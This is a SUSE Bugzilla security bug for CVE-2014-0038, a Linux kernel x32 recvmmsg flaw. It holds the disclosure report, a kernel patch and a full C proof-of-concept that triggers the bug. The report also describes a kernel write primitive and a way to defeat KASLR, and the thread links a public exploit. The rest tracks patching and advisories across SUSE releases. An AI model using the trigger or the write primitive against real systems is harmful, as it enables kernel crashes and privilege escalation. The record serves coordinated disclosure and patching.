Bugzilla – Bug 860993
VUL-0: CVE-2014-0038: kernel: 3.4+: arbitrary write with CONFIG_X86_X32
Last modified: 2018-07-03 20:47:34 UTC
Via vendor-sec, sorry the patch + PoC was inline: This appears to be a serious bug, so I'd like to make sure distros have time to prepare updates but PaX Team really wants to get this fixes ASAP. When is the soonest Coordinated Release Date distros can handle? (I have no CVE assigned for this since I'm still waiting for my 2014 allocation.) Reported by pageexec at https://code.google.com/p/chromium/issues/detail?id=338594, which is restricted, so here's the full report: ---- asmlinkage long compat_sys_recvmmsg(int fd, struct compat_mmsghdr __user *mmsg, unsigned int vlen, unsigned int flags, struct compat_timespec __user *timeout) { int datagrams; struct timespec ktspec; if (flags & MSG_CMSG_COMPAT) return -EINVAL; if (COMPAT_USE_64BIT_TIME) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, (struct timespec *) timeout); /*...*/ The timeout pointer parameter is provided by userland (hence the __user annotation) but for x32 syscalls it's simply cast to a kernel pointer and is passed to __sys_recvmmsg which will eventually directly dereference it for both reading and writing. Other callers to __sys_recvmmsg properly copy from userland to the kernel first. The impact is a sort of arbitrary kernel write-where-what primitive by unprivileged users where the to-be-written area must contain valid timespec data initially (the first 64 bit long field must be positive and the second one must be < 1G). The bug was introduced by commit http://git.kernel.org/linus/ee4fa23c4b (other uses of COMPAT_USE_64BIT_TIME seem fine) and should affect all kernels since 3.4 (and perhaps vendor kernels if they backported x32 support along with this code). Note that CONFIG_X86_X32_ABI gets enabled at build time and only if CONFIG_X86_X32 is enabled and ld can build x32 executables. Suggested fix: Signed-off-by: PaX Team <pageexec@freemail.hu> --- a/net/compat.c 2014-01-20 12:36:54.372997752 +0100 +++ b/net/compat.c 2014-01-28 02:06:59.265506171 +0100 @@ -780,22 +780,25 @@ if (flags & MSG_CMSG_COMPAT) return -EINVAL; - if (COMPAT_USE_64BIT_TIME) - return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, - flags | MSG_CMSG_COMPAT, - (struct timespec *) timeout); - if (timeout == NULL) return __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, NULL); - if (get_compat_timespec(&ktspec, timeout)) + if (COMPAT_USE_64BIT_TIME) { + if (copy_from_user(&ktspec, timeout, sizeof(ktspec))) + return -EFAULT; + } else if (get_compat_timespec(&ktspec, timeout)) return -EFAULT; datagrams = __sys_recvmmsg(fd, (struct mmsghdr __user *)mmsg, vlen, flags | MSG_CMSG_COMPAT, &ktspec); - if (datagrams > 0 && put_compat_timespec(&ktspec, timeout)) - datagrams = -EFAULT; + if (datagrams > 0) { + if (COMPAT_USE_64BIT_TIME) { + if (copy_to_user(timeout, &ktspec, sizeof(ktspec))) + datagrams = -EFAULT; + } else if (put_compat_timespec(&ktspec, timeout)) + datagrams = -EFAULT; + } return datagrams; } So I couldn't help it and created a simple PoC trigger based on the example in the manpage. As it is, it'll just trigger a null-deref oops on the read side: BUG: unable to handle kernel NULL pointer dereference at 0000000000000009 IP: [<ffffffff82a333cb>] __sys_recvmmsg+0x3b/0x310 By passing an appropriate value for the timeout pointer one can trigger the write side too. By the way, this also allows scanning the kernel address space and even reveal KASLR (try every 2MB, if no oops -> found the kernel), no doubt to Kees' delight :). /* * PoC trigger for the linux 3.4+ recvmmsg x32 compat bug, based on the manpage * * https://code.google.com/p/chromium/issues/detail?id=338594 * * $ while true; do echo $RANDOM > /dev/udp/127.0.0.1/1234; sleep 0.25; done */ #define _GNU_SOURCE #include <netinet/ip.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <unistd.h> #include <sys/syscall.h> #define __X32_SYSCALL_BIT 0x40000000 #undef __NR_recvmmsg #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) int main(void) { #define VLEN 10 #define BUFSIZE 200 #define TIMEOUT 1 int sockfd, retval, i; struct sockaddr_in sa; struct mmsghdr msgs[VLEN]; struct iovec iovecs[VLEN]; char bufs[VLEN][BUFSIZE+1]; struct timespec timeout; sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd == -1) { perror("socket()"); exit(EXIT_FAILURE); } sa.sin_family = AF_INET; sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); sa.sin_port = htons(1234); if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { perror("bind()"); exit(EXIT_FAILURE); } memset(msgs, 0, sizeof(msgs)); for (i = 0; i < VLEN; i++) { iovecs[i].iov_base = bufs[i]; iovecs[i].iov_len = BUFSIZE; msgs[i].msg_hdr.msg_iov = &iovecs[i]; msgs[i].msg_hdr.msg_iovlen = 1; } timeout.tv_sec = TIMEOUT; timeout.tv_nsec = 0; // retval = recvmmsg(sockfd, msgs, VLEN, 0, &timeout); // retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, &timeout); retval = syscall(__NR_recvmmsg, sockfd, msgs, VLEN, 0, (void *)1ul); if (retval == -1) { perror("recvmmsg()"); exit(EXIT_FAILURE); } printf("%d messages received\n", retval); for (i = 0; i < retval; i++) { bufs[i][msgs[i].msg_len] = 0; printf("%d %s", i+1, bufs[i]); } exit(EXIT_SUCCESS); }
The embargo is reduced to 1 day as it seems. Huh. Could we check in time whether this affects us at all?
I found this enabled on a 12.3, so this should make us twist.
* SLE11-SP3: not affected * SLE12: applied to SLE12_EMBARGO * oS12.3: applied to openSUSE-12.3_EMBARGO * oS13.1: applied to openSUSE-13.1_EMBARGO Adding mhocko for TD to CC.
Is public. Please apply to public branches. JEFFM, can you submit opensuse kernels?
I pushed to: 8b75c19..b4ff60b master -> master 5531b68..fc9498b stable -> stable
exploit: https://github.com/saelo/cve-2014-0038
This is an autogenerated message for OBS integration: This bug (860993) was mentioned in https://build.opensuse.org/request/show/220752 12.3 / kernel-source
This is an autogenerated message for OBS integration: This bug (860993) was mentioned in https://build.opensuse.org/request/show/220753 13.1 / kernel-source
pull into SLE12 branch too please. then you can close this bug
openSUSE-SU-2014:0204-1: An update that solves 16 vulnerabilities and has 12 fixes is now available. Category: security (important) Bug References: 804950,805226,808358,811746,825006,831836,838024,840226,840656,844513,848079,848255,849021,849023,849029,849034,849362,852373,852558,852559,853050,853051,853052,853053,854173,854634,854722,860993 CVE References: CVE-2013-0343,CVE-2013-1792,CVE-2013-4348,CVE-2013-4511,CVE-2013-4513,CVE-2013-4514,CVE-2013-4515,CVE-2013-4587,CVE-2013-6367,CVE-2013-6368,CVE-2013-6376,CVE-2013-6378,CVE-2013-6380,CVE-2013-6431,CVE-2013-7027,CVE-2014-0038 Sources used: openSUSE 12.3 (src): kernel-docs-3.7.10-1.28.2, kernel-source-3.7.10-1.28.1, kernel-syms-3.7.10-1.28.1
(In reply to comment #10) > pull into SLE12 branch too please. > > then you can close this bug Assigning to jslaby for that since this fix is 2def2ef2ae5f3990aabdbe8a755911902707d268 now and in stable (3.12.10, among others).
Pushed to SLE12 some time ago: commit 65584f5cbda19fce50a9db5422e3b054ec2aff8d Author: Jiri Slaby <jslaby@suse.cz> Date: Sun Feb 9 11:14:22 2014 +0100 Added this bnc to references now: commit bdd826fd31dc62c278d9c34b4b2de46461cf5e81 Author: Jiri Slaby <jslaby@suse.cz> Date: Fri Feb 14 09:55:11 2014 +0100 Can we close now?
.
SUSE-SU-2017:3210-1: An update that fixes 14 vulnerabilities is now available. Category: security (important) Bug References: 1047626,1059465,1066471,1066472,1069496,860993,975788 CVE References: CVE-2014-0038,CVE-2017-1000405,CVE-2017-12193,CVE-2017-15102,CVE-2017-16525,CVE-2017-16527,CVE-2017-16529,CVE-2017-16531,CVE-2017-16535,CVE-2017-16536,CVE-2017-16537,CVE-2017-16649,CVE-2017-16650,CVE-2017-16939 Sources used: SUSE OpenStack Cloud 6 (src): kernel-default-3.12.74-60.64.66.1, kernel-source-3.12.74-60.64.66.1, kernel-syms-3.12.74-60.64.66.1, kernel-xen-3.12.74-60.64.66.1, kgraft-patch-SLE12-SP1_Update_23-1-2.1 SUSE Linux Enterprise Server for SAP 12-SP1 (src): kernel-default-3.12.74-60.64.66.1, kernel-source-3.12.74-60.64.66.1, kernel-syms-3.12.74-60.64.66.1, kernel-xen-3.12.74-60.64.66.1, kgraft-patch-SLE12-SP1_Update_23-1-2.1 SUSE Linux Enterprise Server 12-SP1-LTSS (src): kernel-default-3.12.74-60.64.66.1, kernel-source-3.12.74-60.64.66.1, kernel-syms-3.12.74-60.64.66.1, kernel-xen-3.12.74-60.64.66.1, kgraft-patch-SLE12-SP1_Update_23-1-2.1 SUSE Linux Enterprise Module for Public Cloud 12 (src): kernel-ec2-3.12.74-60.64.66.1
SUSE-SU-2017:3249-1: An update that solves 14 vulnerabilities and has 8 fixes is now available. Category: security (important) Bug References: 1043652,1047626,1066192,1066471,1066472,1066573,1066606,1066618,1066625,1066650,1066671,1066700,1066705,1067085,1067086,1067997,1069496,1069702,1069708,1070307,1070781,860993 CVE References: CVE-2014-0038,CVE-2017-1000405,CVE-2017-12193,CVE-2017-15102,CVE-2017-16525,CVE-2017-16527,CVE-2017-16529,CVE-2017-16531,CVE-2017-16535,CVE-2017-16536,CVE-2017-16537,CVE-2017-16649,CVE-2017-16650,CVE-2017-16939 Sources used: SUSE Linux Enterprise Server 12-LTSS (src): kernel-default-3.12.61-52.106.1, kernel-source-3.12.61-52.106.1, kernel-syms-3.12.61-52.106.1, kernel-xen-3.12.61-52.106.1, kgraft-patch-SLE12_Update_29-1-5.1 SUSE Linux Enterprise Module for Public Cloud 12 (src): kernel-ec2-3.12.61-52.106.1